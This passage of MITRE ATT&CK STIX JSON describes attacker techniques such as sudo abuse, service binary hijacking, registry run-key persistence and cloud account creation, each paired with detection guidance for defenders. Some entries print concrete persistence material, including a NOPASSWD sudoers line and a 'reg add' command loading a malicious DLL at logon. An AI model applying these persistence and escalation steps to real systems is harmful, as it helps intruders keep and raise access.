[{"kill_chain_name": "mitre-attack", "phase_name": "lateral-movement"}], "x_mitre_contributors": ["Tim MalcomVetter", "Swetha Prabakaran, Microsoft Threat Intelligence Center (MSTIC)"], "x_mitre_deprecated": false, "x_mitre_detection": "Network intrusion detection systems and email gateways usually do not scan internal email, but an organization can leverage the journaling-based solution which sends a copy of emails to a security service for offline analysis or incorporate service-integrated solutions using on-premise or API-based integrations to help detect internal spearphishing campaigns.(Citation: Trend Micro When Phishing Starts from the Inside 2017)", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["Windows", "macOS", "Linux", "Office 365", "SaaS", "Google Workspace"], "x_mitre_version": "1.3", "x_mitre_data_sources": ["Network Traffic: Network Traffic Content", "Network Traffic: Network Traffic Flow", "Application Log: Application Log Content"], "type": "attack-pattern", "id": "attack-pattern--9e7452df-5144-4b6e-b04a-b66dd4016747", "created": "2019-09-04T19:26:12.441Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1534", "external_id": "T1534"}, {"source_name": "Trend Micro When Phishing Starts from the Inside 2017", "description": "Chris Taylor. (2017, October 5). When Phishing Starts from the Inside. Retrieved October 8, 2019.", "url": "https://blog.trendmicro.com/phishing-starts-inside/"}, {"source_name": "Int SP - chat apps", "description": "Microsoft Threat Intelligence. (2023, August 2). Midnight Blizzard conducts targeted social engineering over Microsoft Teams. Retrieved February 16, 2024.", "url": "https://www.microsoft.com/en-us/security/blog/2023/08/02/midnight-blizzard-conducts-targeted-social-engineering-over-microsoft-teams/"}, {"source_name": "Trend Micro - Int SP", "description": "Trend Micro. (n.d.). Retrieved February 16, 2024.", "url": "https://www.trendmicro.com/en_us/research.html"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Linux", "macOS"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--9e80ddfb-ce32-4961-a778-ca6a10cfae72", "type": "attack-pattern", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "external_id": "T1169", "url": "https://attack.mitre.org/techniques/T1169"}, {"url": "https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/", "description": "Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web traffic. Retrieved July 10, 2017.", "source_name": "OSX.Dok Malware"}], "modified": "2020-02-05T20:11:12.593Z", "name": "Sudo", "description": "The sudoers file, <code>/etc/sudoers</code>, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the idea of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like <code>user1 ALL=(ALL) NOPASSWD: ALL</code> (Citation: OSX.Dok Malware). \n\nAdversaries can take advantage of these configurations to execute commands as other users or spawn processes with higher privileges. You must have elevated privileges to edit this file though.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}], "x_mitre_detection": "On Linux, auditd can alert every time a user's actual ID and effective ID are different (this is what happens when you sudo).", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_permissions_required": ["User"], "x_mitre_effective_permissions": ["root"], "x_mitre_is_subtechnique": false}, {"modified": "2023-03-30T21:01:37.026Z", "name": "Services File Permissions Weakness", "description": "Adversaries may execute their own malicious payloads by hijacking the binaries used by services. Adversaries may use flaws in the permissions of Windows services to replace the binary that is executed upon service start. These service processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.\n\nAdversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "persistence"}, {"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}, {"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_contributors": ["Travis Smith, Tripwire", "Stefan Kanthak"], "x_mitre_detection": "Look for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data.\n\nLook for abnormal process call trees from typical processes and services and for execution of other commands that could relate to Discovery or other adversary techniques. ", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_platforms": ["Windows"], "x_mitre_version": "1.0", "x_mitre_data_sources": ["File: File Modification", "File: File Creation", "Process: Process Creation", "Service: Service Metadata"], "x_mitre_effective_permissions": ["SYSTEM", "Administrator", "User"], "x_mitre_permissions_required": ["Administrator", "User"], "type": "attack-pattern", "id": "attack-pattern--9e8b28c9-35fe-48ac-a14d-e6cc032dcbcd", "created": "2020-03-12T20:43:53.998Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1574/010", "external_id": "T1574.010"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0"}, {"modified": "2023-10-16T09:08:22.319Z", "name": "Registry Run Keys / Startup Folder", "description": "Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the \"run keys\" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.(Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account's associated permissions level.\n\nThe following run keys are created by default on Windows systems:\n\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run</code>\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce</code>\n* <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run</code>\n* <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce</code>\n\nRun keys may exist under multiple hives.(Citation: Microsoft Wow6432Node 2018)(Citation: Malwarebytes Wow6432Node 2016) The <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx</code> is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency.(Citation: Microsoft Run Key) For example, it is possible to load a DLL at logon using a \"Depend\" key with RunOnceEx: <code>reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\0001\\Depend /v 1 /d \"C:\\temp\\evil[.]dll\"</code> (Citation: Oddvar Moe RunOnceEx Mar 2018)\n\nPlacing a program within a startup folder will also cause that program to execute when a user logs in. There is a startup folder location for individual user accounts as well as a system-wide startup folder that will be checked regardless of which user account logs in. The startup folder path for the current user is <code>C:\\Users\\\\[Username]\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup</code>. The startup folder path for all users is <code>C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp</code>.\n\nThe following Registry keys can be used to set startup folder items for persistence:\n\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders</code>\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders</code>\n* <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders</code>\n* <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders</code>\n\nThe following Registry keys can control automatic startup of services during boot:\n\n* <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce</code>\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce</code>\n* <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices</code>\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices</code>\n\nUsing policy settings to specify startup programs creates corresponding values in either of two Registry keys:\n\n* <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run</code>\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run</code>\n\nPrograms listed in the load value of the registry key <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows</code> run automatically for the currently logged-on user.\n\nBy default, the multistring <code>BootExecute</code> value of the registry key <code>HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager</code> is set to <code>autocheck autochk *</code>. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot.\n\nAdversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "persistence"}, {"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}], "x_mitre_contributors": ["Oddvar Moe, @oddvarmoe", "Dray Agha, @Purp1eW0lf, Huntress Labs", "Harun K\u00fc\u00dfner"], "x_mitre_deprecated": false, "x_mitre_detection": "Monitor Registry for changes to run keys that do not correlate with known software, patch cycles, etc. Monitor the start folder for additions or changes. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing the run keys' Registry locations and startup folders. (Citation: TechNet Autoruns) Suspicious program execution as startup programs may show up as outlier processes that have not been seen before when compared against historical data.\n\nChanges to these locations typically happen under normal conditions when legitimate software is installed. To increase confidence of malicious activity, data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Windows"], "x_mitre_version": "2.0", "x_mitre_data_sources": ["Command: Command Execution", "File: File Modification", "Process: Process Creation", "Windows Registry: Windows Registry Key Creation", "Windows Registry: Windows Registry Key Modification"], "x_mitre_permissions_required": ["Administrator", "User"], "type": "attack-pattern", "id": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", "created": "2020-01-23T22:02:48.566Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1547/001", "external_id": "T1547.001"}, {"source_name": "Malwarebytes Wow6432Node 2016", "description": "Arntz, P. (2016, March 30). Hiding in Plain Sight. Retrieved August 3, 2020.", "url": "https://blog.malwarebytes.com/cybercrime/2013/10/hiding-in-plain-sight/"}, {"source_name": "Microsoft Wow6432Node 2018", "description": "Microsoft. (2018, May 31). 32-bit and 64-bit Application Data in the Registry. Retrieved August 3, 2020.", "url": "https://docs.microsoft.com/en-us/windows/win32/sysinfo/32-bit-and-64-bit-application-data-in-the-registry"}, {"source_name": "Microsoft Run Key", "description": "Microsoft. (n.d.). Run and RunOnce Registry Keys. Retrieved November 12, 2014.", "url": "http://msdn.microsoft.com/en-us/library/aa376977"}, {"source_name": "Oddvar Moe RunOnceEx Mar 2018", "description": "Moe, O. (2018, March 21). Persistence using RunOnceEx - Hidden from Autoruns.exe. Retrieved June 29, 2018.", "url": "https://oddvar.moe/2018/03/21/persistence-using-runonceex-hidden-from-autoruns-exe/"}, {"source_name": "TechNet Autoruns", "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.", "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2022-10-21T14:35:00.274Z", "name": "Trusted Relationship", "description": "Adversaries may breach or otherwise leverage organizations who have access to intended victims. Access through trusted third party relationship abuses an existing connection that may not be protected or receives less scrutiny than standard mechanisms of gaining access to a network.\n\nOrganizations often grant elevated access to second or third-party external providers in order to allow them to manage internal systems as well as cloud-based environments. Some examples of these relationships include IT services contractors, managed security providers, infrastructure contractors (e.g. HVAC, elevators, physical security). The third-party provider's access may be intended to be limited to the infrastructure being maintained, but may exist on the same network as the rest of the enterprise. As such, [Valid Accounts](https://attack.mitre.org/techniques/T1078) used by the other party for access to internal network systems may be compromised and used.(Citation: CISA IT Service Providers)\n\nIn Office 365 environments, organizations may grant Microsoft partners or resellers delegated administrator permissions. By compromising a partner or reseller account, an adversary may be able to leverage existing delegated administrator relationships or send new delegated administrator offers to clients in order to gain administrative control over the victim tenant.(Citation: Office 365 Delegated Administration)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "initial-access"}], "x_mitre_detection": "Establish monitoring for activity conducted by second and third party providers and other trusted entities that may be leveraged as a means to gain access to the network. Depending on the type of relationship, an adversary may have access to significant amounts of information about the target before conducting an operation, especially if the trusted relationship is based on IT services. Adversaries may be able to act quickly towards an objective, so proper monitoring for behavior related to Credential Access, Lateral Movement, and Collection will be important to detect the intrusion.", "x_mitre_platforms": ["Windows", "SaaS", "IaaS", "Linux", "macOS", "Office 365"], "x_mitre_is_subtechnique": false, "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "2.3", "x_mitre_contributors": ["Praetorian", "ExtraHop", "Jannie Li, Microsoft Threat Intelligence\u202fCenter\u202f(MSTIC)"], "x_mitre_data_sources": ["Logon Session: Logon Session Creation", "Logon Session: Logon Session Metadata", "Network Traffic: Network Traffic Content", "Application Log: Application Log Content"], "type": "attack-pattern", "id": "attack-pattern--9fa07bef-9c81-421e-a8e5-ad4366c5a925", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1199", "external_id": "T1199"}, {"source_name": "CISA IT Service Providers", "description": "CISA. (n.d.). APTs Targeting IT Service Provider Customers. Retrieved November 16, 2020.", "url": "https://us-cert.cisa.gov/APTs-Targeting-IT-Service-Provider-Customers"}, {"source_name": "Office 365 Delegated Administration", "description": "Microsoft. (n.d.). Partners: Offer delegated administration. Retrieved May 27, 2022.", "url": "https://support.microsoft.com/en-us/topic/partners-offer-delegated-administration-26530dc0-ebba-415b-86b1-b55bc06b073e?ui=en-us&rs=en-us&ad=us"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-03-28T16:14:28.678Z", "name": "Cloud Account", "description": "Adversaries may create a cloud account to maintain access to victim systems. With a sufficient level of access, such accounts may be used to establish secondary credentialed access that does not require persistent remote access tools to be deployed on the system.(Citation: Microsoft O365 Admin Roles)(Citation: Microsoft Support O365 Add Another Admin, October 2019)(Citation: AWS Create IAM User)(Citation: GCP Create Cloud Identity Users)(Citation: Microsoft Azure AD Users)\n\nIn addition to user accounts, cloud accounts may be associated with services. Cloud providers handle the concept of service accounts in different ways. In Azure, service accounts include service principals and managed identities, which can be linked to various resources such as OAuth applications, serverless functions, and virtual machines in order to grant those resources permissions to perform various activities in the environment.(Citation: Microsoft Entra ID Service Principals) In GCP, service accounts can also be linked to specific resources, as well as be impersonated by other accounts for [Temporary Elevated Cloud Access](https://attack.mitre.org/techniques/T1548/005).(Citation: GCP Service Accounts) While AWS has no specific concept of service accounts, resources can be directly granted permission to assume roles.(Citation: AWS Instance Profiles)(Citation: AWS Lambda Execution Role)\n\nAdversaries may create accounts that only have access to specific cloud services, which can reduce the chance of detection.\n\nOnce an adversary has created a cloud account, they can then manipulate that account to ensure persistence and allow access to additional resources - for example, by adding [Additional Cloud Credentials](https://attack.mitre.org/techniques/T1098/001) or assigning [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003).", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "persistence"}], "x_mitre_contributors": ["Praetorian", "Microsoft Threat Intelligence Center (MSTIC)"], "x_mitre_deprecated": false, "x_mitre_detection": "Collect usage logs from cloud user and administrator accounts to identify unusual activity in the creation of new accounts and assignment of roles to those accounts. Monitor for accounts assigned to admin roles that go over a certain threshold of known admins.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Azure AD", "Office 365", "IaaS", "Google Workspace", "SaaS"], "x_mitre_version": "1.5", "x_mitre_data_sources": ["User Account: User Account Creation"], "type": "attack-pattern", "id": "attack-pattern--a009cb25-4801-4116-9105-80a91cf15c1b", "created": "2020-01-29T17:32:30.711Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1136/003", "external_id": "T1136.003"}, {"source_name": "Microsoft O365 Admin Roles", "description": "Ako-Adjei, K., Dickhaus, M., Baumgartner, P., Faigel, D., et. al.. (2019, October 8). About admin roles. Retrieved October 18, 2019.", "url": "https://docs.microsoft.com/en-us/office365/admin/add-users/about-admin-roles?view=o365-worldwide"}, {"source_name": "AWS Create IAM User", "description": "AWS. (n.d.). Creating an IAM User in Your AWS Account. Retrieved January 29, 2020.", "url": "https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users_create.html"}, {"source_name": "AWS Lambda Execution Role", "description": "AWS. (n.d.). Lambda execution role. Retrieved February 28, 2024.", "url": "https://docs.aws.amazon.com/lambda/latest/dg/lambda-intro-execution-role.html"}, {"source_name": "AWS Instance Profiles", "description": "AWS. (n.d.). Using instance profiles. Retrieved February 28, 2024.", "url": "https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use_switch-role-ec2_instance-profiles.html"}, {"source_name": "GCP Create Cloud Identity Users", "description": "Google. (n.d.). Create Cloud Identity user accounts. Retrieved January 29, 2020.", "url": "https://support.google.com/cloudidentity/answer/7332836?hl=en&ref_topic=7558554"}, {"source_name": "GCP Service Accounts", "description": "Google. (n.d.). Service Accounts Overview. Retrieved February 28, 2024.", "url": "https://cloud.google.com/iam/docs/service-account-overview"}, {"source_name": "Microsoft Azure AD Users", "description": "Microsoft. (2019, November 11). Add or delete users using Azure Active Directory. Retrieved January 30, 2020.", "url": "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/add-users-azure-active-directory"}, {"source_name": "Microsoft Entra ID Service Principals", "description": "Microsoft. (2023, December 15). Application and service principal objects in Microsoft Entra ID. Retrieved February 28, 2024.", "url": "https://learn.microsoft.com/en-us/entra/identity-platform/app-objects-and-service-principals?tabs=browser"}, {"source_name": "Microsoft Support O365 Add Another Admin, October 2019", "description": "Microsoft. (n.d.). Add Another Admin. Retrieved October 18, 2019.", "url": "https://support.office.com/en-us/article/add-another-admin-f693489f-9f55-4bd0-a637-a81ce93de22d"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-04-07T17:14:42.184Z", "name": "Local Groups", "description": "Adversaries may attempt to find local system groups and permission settings. The knowledge of local system permission groups can help adversaries determine which groups exist and which users belong to a particular group. Adversaries may use this information to determine which users have elevated permissions, such as the users found within the local administrators group.\n\nCommands such as <code>net localgroup</code> of the [Net](https://attack.mitre.org/software/S0039) utility, <code>dscl . -list /Groups</code> on macOS, and <code>groups</code> on Linux can list local groups.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "discovery"}], "x_mitre_contributors": ["Harshal Tupsamudre, Qualys", "Miriam Wiesner, @miriamxyra, Microsoft Security"], "x_mitre_deprecated": false, "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Linux", "macOS", "Windows"], "x_mitre_version": "1.2", "x_mitre_data_sources": ["Process: OS API Execution", "Process: Process Creation", "Group: Group Enumeration", "Command: Command Execution"], "type": "attack-pattern", "id": "attack-pattern--a01bf75f-00b2-4568-a58f-565ff9bf202b", "created": "2020-03-12T19:29:21.013Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1069/001", "external_id": "T1069.001"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["macOS"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--a0a189c8-d3bd-4991-bf6f-153d185ee373", "type": "attack-pattern", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1149", "url": "https://attack.mitre.org/techniques/T1149"}, {"url": "https://assets.documentcloud.org/documents/2459197/bit9-carbon-black-threat-research-report-2015.pdf", "description": "Bit9 + Carbon Black Threat Research Team. (2015). 2015: The Most Prolific Year in History for OS X Malware. Retrieved July 8, 2017.", "source_name": "Prolific OSX Malware History"}, {"url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf", "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.", "source_name": "Methods of Mac Malware Persistence"}], "modified": "2020-03-30T13:53:57.518Z", "name": "LC_MAIN Hijacking", "description": "**This technique has been deprecated and should no longer be used.**\n\nAs of OS X 10.8, mach-O binaries introduced a new header called LC_MAIN that points to the binary\u2019s entry point for execution. Previously, there were two headers to achieve this same effect: LC_THREAD and LC_UNIXTHREAD  (Citation: Prolific OSX Malware History). The entry point for a binary can be hijacked so that initial execution flows to a malicious addition (either another section or a code cave) and then goes back to the initial entry point so that the victim doesn\u2019t know anything was different  (Citation: Methods of Mac Malware Persistence). By modifying a binary in this way, application whitelisting can be bypassed because the file name or application path is still the same.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_detection": "Determining the original entry point for a binary is difficult, but checksum and signature verification is very possible. Modifying the LC_MAIN entry point or adding in an additional LC_MAIN entry point invalidates the signature for the file and can be detected. Collect running process information and compare against known applications to look for suspicious behavior.", "x_mitre_deprecated": true, "x_mitre_version": "2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_defense_bypassed": ["Application whitelisting", "Process whitelisting", "Whitelisting by file name or path"], "x_mitre_permissions_required": ["User", "Administrator"], "x_mitre_is_subtechnique": false}, {"modified": "2022-10-18T22:48:33.286Z", "name": "Search Open Websites/Domains", "description": "Adversaries may search freely available websites and/or domains for information about victims that can be used during targeting. Information about victims may be available in various online sites, such as social media, new sites, or those hosting information about business operations such as hiring or requested/rewarded contracts.(Citation: Cyware Social Media)(Citation: SecurityTrails Google Hacking)(Citation: ExploitDB GoogleHacking)\n\nAdversaries may search in different online sites depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Phishing](https://attack.mitre.org/techniques/T1566)).", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "reconnaissance"}], "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", "x_mitre_platforms": ["PRE"], "x_mitre_is_subtechnique": false, "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "1.1", "type": "attack-pattern", "id": "attack-pattern--a0e6614a-7740-4b24-bd65-f1bde09fc365", "created": "2020-10-02T16:48:04.509Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1593", "external_id": "T1593"}, {"source_name": "SecurityTrails Google Hacking", "description": "Borges, E. (2019, March 5). Exploring Google Hacking Techniques. Retrieved October 20, 2020.", "url": "https://securitytrails.com/blog/google-hacking-techniques"}, {"source_name": "Cyware Social Media", "description": "Cyware Hacker News. (2019, October 2). How Hackers Exploit Social Media To Break Into Your Company. Retrieved October 20, 2020.", "url": "https://cyware.com/news/how-hackers-exploit-social-media-to-break-into-your-company-88e8da8e"}, {"source_name": "ExploitDB GoogleHacking", "description": "Offensive Security. (n.d.). Google Hacking Database. Retrieved October 23, 2020.", "url": "https://www.exploit-db.com/google-hacking-database"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-01-16T22:24:38.234Z", "name": "Account Manipulation", "description": "Adversaries may manipulate accounts to maintain and/or elevate access to victim systems. Account manipulation may consist of any action that preserves or modifies adversary access to a compromised account, such as modifying credentials or permission groups.(Citation: FireEye SMOKEDHAM June 2021) These actions could also include account activity designed to subvert security policies, such as performing iterative password updates to bypass password duration policies and preserve the life of compromised credentials. \n\nIn order to create or manipulate accounts, the adversary must already have sufficient permissions on systems or the domain. However, account manipulation may also lead to privilege escalation where modifications grant access to additional roles, permissions, or higher-privileged [Valid Accounts](https://attack.mitre.org/techniques/T1078).", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "persistence"}, {"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}], "x_mitre_contributors": ["Jannie Li, Microsoft Threat Intelligence\u202fCenter\u202f(MSTIC)", "Praetorian", "Tim MalcomVetter", "Wojciech Lesicki", "Arad Inbar, Fidelis Security"], "x_mitre_deprecated": false, "x_mitre_detection": "Collect events that correlate with changes to account objects and/or permissions on systems and the domain, such as event IDs 4738, 4728 and 4670.(Citation: Microsoft User Modified Event)(Citation: Microsoft Security Event 4670)(Citation: Microsoft Security Event 4670) Monitor for modification of accounts in correlation with other suspicious activity. Changes may occur at unusual times or from unusual systems. Especially flag events where the subject and target accounts differ(Citation: InsiderThreat ChangeNTLM July 2017) or that include additional flags such as changing a password without knowledge of the old password.(Citation: GitHub Mimikatz Issue 92 June 2017)\n\nMonitor for use of credentials at unusual times or to unusual systems or services. This may also correlate with other suspicious activity.\n\nMonitor for unusual permissions changes that may indicate excessively broad permissions being granted to compromised accounts. However, account manipulation may also lead to privilege escalation where modifications grant access to additional roles, permissions, or higher-privileged [Valid Accounts](https://attack.mitre.org/techniques/T1078)", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["Windows", "Azure AD", "Office 365", "IaaS", "Linux", "macOS", "Google Workspace", "SaaS", "Network", "Containers"], "x_mitre_version": "2.6", "x_mitre_data_sources": ["Command: Command Execution", "Process: Process Creation", "Active Directory: Active Directory Object Modification", "File: File Modification", "Group: Group Modification", "User Account: User Account Modification"], "type": "attack-pattern", "id": "attack-pattern--a10641f4-87b4-45a3-a906-92a149cb2c27", "created": "2017-05-31T21:31:12.196Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1098", "external_id": "T1098"}, {"source_name": "FireEye SMOKEDHAM June 2021", "description": "FireEye. (2021, June 16). Smoking Out a DARKSIDE 